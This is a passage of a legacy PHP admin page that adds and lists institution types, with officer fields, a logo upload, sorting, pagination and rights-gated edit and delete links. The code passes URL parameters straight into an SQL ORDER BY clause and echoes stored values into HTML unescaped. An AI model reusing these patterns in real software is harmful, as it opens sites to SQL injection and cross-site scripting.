$msg=$emtttle; $classseqerrnm='class="txtseqerr"'; } else if($_GET['msg']=='dupmsg') { $msg=$msgDuplicatRecord; } else { unset($_SESSION['txtname']); unset($_SESSION['officer1']); unset($_SESSION['arrayname']); unset($_SESSION['txtsequenceno']); unset($_SESSION['yesvisible']); unset($_SESSION['novisible']); $classtype='class="txtbox"'; $classoff='class="txtbox"'; $classseqerrnm='class="txtseq"'; $ooficerclass='class="txtbox"'; } if($_SESSION['txtsequenceno']=="") { $_SESSION['txtsequenceno']=$nvsquence; } if($_POST["chkvisible"]!='Yes' || $_POST["chkvisible"]!='No') { $_SESSION['yesvisible']='checked="checked" '; } ?> <script language="JavaScript"> $(document).ready(function() { $("#txtlogo").change(function () { var size = 102400; var iSize = ($("#txtlogo")[0].files[0].size); if (iSize > size) { alert("Please Upload Only Less-Than 100 Kb Image."); this.value=''; document.frminsttype.txtlogo.focus(); } }); }); //image size validation end </script> <form name="frminsttype" id="frminsttype" method="post" action="arya_addinstitutetype.php" enctype="multipart/form-data" onsubmit="return blankInsttype('add');"> <table border="0" width="100%" summary="" cellpadding="0" cellspacing="0"> <tr> <td align="center" height="85"><h2 class="bigheader"><?php echo $title_addinsttype; ?></h2> </td> </tr> <?php echo SuccessMessage($msg);?> <tr> <td align="center"> <table cellpadding="0" cellspacing="0" border="0"> <tr><td colspan="2" height="5"></td></tr> <tr> <td align="right" width="40%"><?php echo $sign." ".$lbl_insttype;?> : </td> <td> <input type="text" name="txtname" id="txtname" value="<?php echo $_SESSION['txtname']; ?>" <?php echo $classtype; ?> onkeypress="return isAlphabetic(event);" maxlength="200"/> </td> </tr> <tr><td height="5" colspan="6"></td></tr> <tr> <td align="right" width="40%"><?php echo $sign." "?>Officer1 : </td> <td><input type="text" name="officer1" id="officer1" <?php echo $classoff; ?> value="<?php echo $_SESSION['officer1'];?>" maxlength="200"/> <?php $j=0;?> <a href="javascript:addTExtboxForInstType(<?php echo $j;?>);"> <img src="images/plus.png" height="13" width="13" border="0" /></a></td> </tr> <tr><td height="5" colspan="6"></td></tr> <?php $j=0; $k=0; ?> <input type="hidden" name="no_of_i" id="no_of_i" value="0"> <input type="hidden" name="test" id="test" value="<?php echo $k; ?>"> <input type="hidden" name="sequence" id="sequence" value="<?php //echo $l; ?>"> <tr align="center" colspan="6"> <td align="center" colspan="6"> <?php $p=2; for($i=0;$i<9;$i++) { $m=$i+2; ?> <?php if($_SESSION['arrayname'][$i]==""){ ?> <div class="divDisplayHide" id="imagefile<?php echo $i; ?>" > <?php } else { ?> <div id="imagefile<?php echo $i;?>"> <?php } ?> <table cellpadding="0" cellspacing="0" border="0" width="91%"> <tr colspan="6" align="center"> <td width="42%" align="right">Officer<?php echo $m; ?> : </td> <td> <input type="text" name="officer<?php echo $m;?>" id="officer<?php echo $m;?>" value="<?php echo $_SESSION['arrayname'][$i]; ?>" <?php if($_GET['msg']=="officer".$p) { echo $ooficerclass='class="errtxtengbord"'; } else { echo $ooficerclass='class="txtbox"'; } ?> maxlength="200"/> </td> </tr> <tr><td height="5" colspan="6"></td></tr> </table> </div> <?php $k++; $p++; } ?> </td> </tr> <tr><td colspan="2" height="5"></td></tr> <tr> <td align="right" width="40%"><?php echo $sign." "."Default Logo";?> : </td> <td> <input type="file" name="txtlogo" id="txtlogo" class="txtbox"/> </td> </tr> <tr><td colspan="2" height="5"></td></tr> <?php if($rightapprove == 'Self' || $rightapprove == 'All') { ?> <tr> <td align="right" width="30%"><?php echo $lbl_sequence;?> : </td> <td> <input type="text" name="txtsequenceno" id="txtsequenceno" onkeypress="return checkInt(event);" value="<?php echo $_SESSION['txtsequenceno'];?>" <?php echo $classseqerrnm; ?> size='1' maxlength='3' /> </td> </tr> <tr><td colspan="2" height="5"></td></tr> <tr> <td align="right" width="30%"><?php echo $lbl_visible;?> : </td> <td> <input type="radio" name="chkvisible" id="chkvisible" value="Yes" <?php if($_SESSION['yesvisible']!=""){echo $_SESSION['yesvisible'];} ?>/>Yes <input type="radio" name="chkvisible" id="chkvisible" value="No" <?php if($_SESSION['novisible']!=""){echo $_SESSION['novisible'];} ?>/>No </td> </tr> <?php } ?> <tr><td colspan="2" height="5"></td></tr> <tr> <td align="right" width="40%"></td> <td> <input type="submit" name="btnAdd" id="btnAdd" value="<?php echo $btn_add;?>" class="button" /> <input type="reset" name="btnReset" id="btnReset" value="<?php echo $btn_reset; ?>" class="button"/> <input type="button" name="btnBack" id="btnBack" value="<?php echo $btn_back; ?>" class="button" onclick="history.back(-1);" /> </td> </tr> </table> </td></tr> </table> </form> <?php $columnname = ""; if ($_GET['columnname']) { $columnname = $_GET['columnname']; } else { $columnname ="insttype_sequence"; } // Get the value of either ascending or descending $order = ""; if ($_GET['order']) { $order = $_GET['order']; } else { $order ="DESC"; } if ($columnname == "") {$columnname = "proposalno"; } // Make the default order sorting if ($order == "") { $order = "ASC"; } elseif ($order == "ASC") { $order = "DESC";} elseif ($order == "DESC") { $order = "ASC";} //this is use for come from edit form display select page start if($_POST['page'] != "") { $_SESSION["pagesesid"]=$_POST['page']; } else if($_GET["msg"] != '') { $_POST['page']=$_SESSION["pagesesid"]; } else { unset($_SESSION["pagesesid"]); } //this is use for come from edit form display select page end if($order=='ASC') { $style='class="asecnding"'; $ascdescicon='images/up.png'; } if($order=='DESC') { $style='class="descending"'; $ascdescicon='images/down.png'; } if($_GET['columnname']=='insttype_name') { $insttype_name='<img src='.$ascdescicon.' '.$style.' />'; } else if($_GET['columnname']=='insttype_sequence') { $insttype_sequence='<img src='.$ascdescicon.' '.$style.' />'; } else if($_GET['columnname']=='insttype_visible') { $insttype_visible='<img src='.$ascdescicon.' '.$style.' />'; } else { $insttype_sequence='<img src='.$ascdescicon.' '.$style.' />'; } ?> <!--use for paginination start--> <form action="" method="post" name="frmpaging" id="frmpaging" > <input type="hidden" name="page" value="" /> </form> <!--use for paginination end--> <form method="post" action="arya_addinstitutetype.php" name="frmmanageinsttype" id="frmmanageinsttype" enctype="multipart/form-data"> <table width="100%" summary="" border="0" cellspacing="0" cellpadding="0"> <tr><td height="70"></td></tr> <?php if($dbusercatid=="3") { $selinsttype="SELECT * FROM arya_institutiontype ORDER BY $columnname $order"; } else { $selinsttype="SELECT * FROM arya_institutiontype WHERE insttype_delstatus='No' ORDER BY $columnname $order"; } $qryinsttype=mysql_query($selinsttype); $numinsttype=mysql_num_rows($qryinsttype); if($numinsttype>0) { $page =$_POST['page']; $limit=$addinsttypepagelimit; $script_name="arya_addinstitutetype.php"; $paging=display_paginglist($page,$numinsttype,$limit,$script_name,$pagequery_vars); $qryinsttype=mysql_query($selinsttype." limit $eu, $limit ") or GoToErrorPage(); ?> <tr><td colspan="2" align="center" class="bigheader"><?php echo $title_manageinsttype; ?></td></tr> <tr><td height="10"></td></tr> <?php echo SuccessMessage($msg1);?> <td align="center"> <table summary="" border="1" align="center" width="50%" cellpadding="0" cellspacing="0"> <tr align="center" class="tblborder"> <td width="15%">Logo</td> <td width="15%"><a href="arya_addinstitutetype.php?columnname=insttype_name&order=<?php echo $order;?>" style="text-decoration:none;"><?php echo $lbl_insttype;?><?php echo "".$insttype_name; ?></a></td> <td align='center' width="8%"><a href="arya_addinstitutetype.php?columnname=insttype_sequence&order=<?php echo $order;?>" style="text-decoration:none;"><?php echo $lbl_sequence;?><?php echo "".$insttype_sequence; ?></a></td> <td align='center' width="8%"><a href="arya_addinstitutetype.php?columnname=insttype_visible&order=<?php echo $order;?>" style="text-decoration:none;"><?php echo $lbl_visible;?><?php echo "".$insttype_visible; ?></a></td> <td align='center' width="8%"><?php echo $lbl_edit;?></td> <td align='center' width="8%"><?php echo $lbl_delete;?></td> <td width="8%"><?php echo $lbl_superdelete; ?></td> </tr> <?php while($fetchinsttype=mysql_fetch_array($qryinsttype)) { $inst_type_id=$fetchinsttype["insttype_id"]; $dbuserid=$fetchinsttype["user_id"]; $delstatus=$fetchinsttype["insttype_delstatus"]; $inst_type_seq=$fetchinsttype["insttype_sequence"]; $inst_type_name=stripslashes($fetchinsttype["insttype_name"]); $inst_visible=$fetchinsttype["insttype_visible"]; $logo=$fetchinsttype["insttype_logo"]; $instlogo=str_replace("./","",$logo); ?> <?php if($delstatus=='No') { ?> <tr align="center"> <?php } else { ?><tr align="center" bgcolor="#CCCCCC" ><?php } if($instlogo != "") { ?> <td align="center"><img src="<?php echo $pathvar.$instlogo; ?>" width="90" height="80" ></td> <?php } else { ?> <td align="center"><img src="images/imagesnot.jpeg" width="90" height="80" ></td> <?php } ?> <td align="center"><?php echo $inst_type_name;?></td> <td align="center"> <?php if($dbuserid==$admusrid && $rightapprove=='Self') { ?> <input type="text" name="txtuptseqid[<?php echo $inst_type_id;?>]" id="txtuptseqid" value="<?php echo $inst_type_seq;?>" size="1" maxlength="3" onkeypress="return checkInt(event);" /> <?php } else if ($rightapprove=='All') { ?> <input type="text" name="txtuptseqid[<?php echo $inst_type_id;?>]" id="txtuptseqid" value="<?php echo $inst_type_seq;?>" size="1" maxlength="3" onkeypress="return checkInt(event);" /> <?php } else { ?> <input type="text" name="txtuptseqid[<?php echo $inst_type_id;?>]" id="txtuptseqid" disabled="disabled" value="<?php echo $inst_type_seq;?>" size="1" maxlength="3" onkeypress="return checkInt(event);" /> <?php } ?> </td> <td align="center"> <div id="FetchAjaxDataactive[<?php echo $inst_type_id;?>]"> <?php if($inst_visible=='Yes') { if($dbuserid==$admusrid && $rightapprove=='Self') { ?> <img src="images/right.png" title="Click the button then update visible" alt="" onclick="return UpdateActiveInactiveVal('otypvbl','No',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else if ($rightapprove=='All') { ?> <img src="images/right.png" title="Click the button then update visible" alt="" onclick="return UpdateActiveInactiveVal('otypvbl','No',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else { ?> <img src="images/right_d.png" alt=""/> <?php } ?> <?php } else if($inst_visible=='No') { if($dbuserid==$admusrid && $rightapprove=='Self') { ?> <img src="images/wrong.png" title="Click the button then update visible" alt="" onclick="return UpdateActiveInactiveVal('otypvbl','Yes',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else if ($rightapprove=='All') { ?> <img src="images/wrong.png" title="Click the button then update visible" alt="" onclick="return UpdateActiveInactiveVal('otypvbl','Yes',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else { ?> <img src="images/wrong_d.png" alt=""/> <?php } ?> <?php }?> </div> </td> <td align="center"> <?php if($dbuserid==$admusrid && $rightedit=='Self') { ?> <a href="arya_editinstitutetype.php?instid=<?php echo $inst_type_id;?>&scid=<?php echo $pagesecid;?>"><img src='./images/edit.gif' border='0' alt="" title="Click here to edit this record"/></a> <?php } else if ($rightedit=='All') { ?> <a href="arya_editinstitutetype.php?instid=<?php echo $inst_type_id;?>&scid=<?php echo $pagesecid;?>"><img src='./images/edit.gif' border='0' alt="" title="Click here to edit this record"/></a> <?php } else { ?> <img src="images/edit_disable.gif" border="0" alt="" title="Click here to edit this record" /> <?php } ?> </td> <td align="center"> <?php if($delstatus == "No" && $dbusercatid != "3" ){ if($dbuserid==$admusrid && $rightdelete=='Self') { ?> <a href="arya_addinstitutetype.php?instid1=<?php echo $inst_type_id;?>" onclick="return confirm('Are you want to delete this institution type <?php echo $inst_type_name;?>?');"><img src="./images/delete.gif" border="0" alt="" title="Click here to delete this record"/></a> <?php } else if ($rightdelete=='All') { ?> <a href="arya_addinstitutetype.php?instid1=<?php echo $inst_type_id;?>" onclick="return confirm('Are you want to delete this institution type <?php echo $inst_type_name;?>?');"><img src="./images/delete.gif" border="0" alt="" title="Click here to delete this record"/></a> <?php } else { ?> <img src="images/delete_disable.gif" border="0" alt="" title="Click here to delete this record" /> <?php } } else if($dbusercatid=="3") { ?> <div id="FetchAjaxDataundo[<?php echo $inst_type_id;?>]"> <?php if($delstatus=='Yes') { if($dbuserid==$_SESSION["adminuserid"] && $rightdelete=='Self') { ?> <img src="images/undo.jpg" title="Click the button then update undo recored" alt="" onclick="return UpdateUndoDeleted('insttypeundo','No',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else if($rightdelete=='All') { ?> <img src="images/undo.jpg" title="Click the button then update undo recored" alt="" onclick="return UpdateUndoDeleted('insttypeundo','No',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else { ?> <img src="images/undo_disable.jpg" border="0" alt="" /> <?php } } else if($delstatus=='No') { if($dbuserid==$_SESSION["adminuserid"] && $rightdelete=='Self') { ?> <img src="images/delete.gif" title="Click the button then delete recored" alt="" onclick="return UpdateUndoDeleted('insttypeundo','Yes',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else if ($rightdelete=='All') { ?> <img src="images/delete.gif" title="Click the button then delete recored" alt="" onclick="return UpdateUndoDeleted('insttypeundo','Yes',<?php echo $inst_type_id;?>,<?php echo $pagesecid; ?>);" style="cursor:pointer;"/> <?php } else { ?> <img src="images/delete_disable.gif" border="0" alt="" /> <?php } } ?> </div> <?php } ?> </td> <td align='center'> <?php if($dbuserid==$admusrid && $superdelete=='Self') { ?> <a href="arya_addinstitutetype.php?instid=<?php echo $inst_type_id;?>" onclick="return confirm('are you sure you want to delete this institute type <?php echo $inst_type_name;?>? this record will be removed from server permanently you can not get that record back.');"><img src="./images/super_delete.png" border="0" alt="" title="Click here to delete this record"/></a> <?php } else if($superdelete=='All') { ?> <a href="arya_addinstitutetype.php?instid=<?php echo $inst_type_id;?>" onclick="return confirm('are you sure you want to delete this institute type <?php echo $inst_type_name;?>? this record will be removed from server permanently you can not get that record back.');"><img src="./images/super_delete.png" border="0" alt="" title="Click here to delete this record"/></a> <?php } else { ?> <img src="images/super_delete_disable.png" border="0" alt="" title="Click here to delete this record" /> <?php } ?> </td> </tr> <?php } ?> <tr> <td align="right" colspan="2"></td> <td align="center"><input type="submit" name="updtseq" id="updtseq" value="<?php echo $btn_update;?>" <?php echo $disbut;?>/></td> <td align="center" colspan="7"></td> </tr> <?php if($paging!="") { ?> <tr> <td class="pagination" align="center" colspan="10"><!--pagination end--> <?php echo $paging;?> </td><!--pagination end--> <?php }// if($paging!="") ?> <?php } ?> </table> </td> </tr> </table> </form> <?php // content over // footer start include("arya_footer.php"); // footer over ?>
Close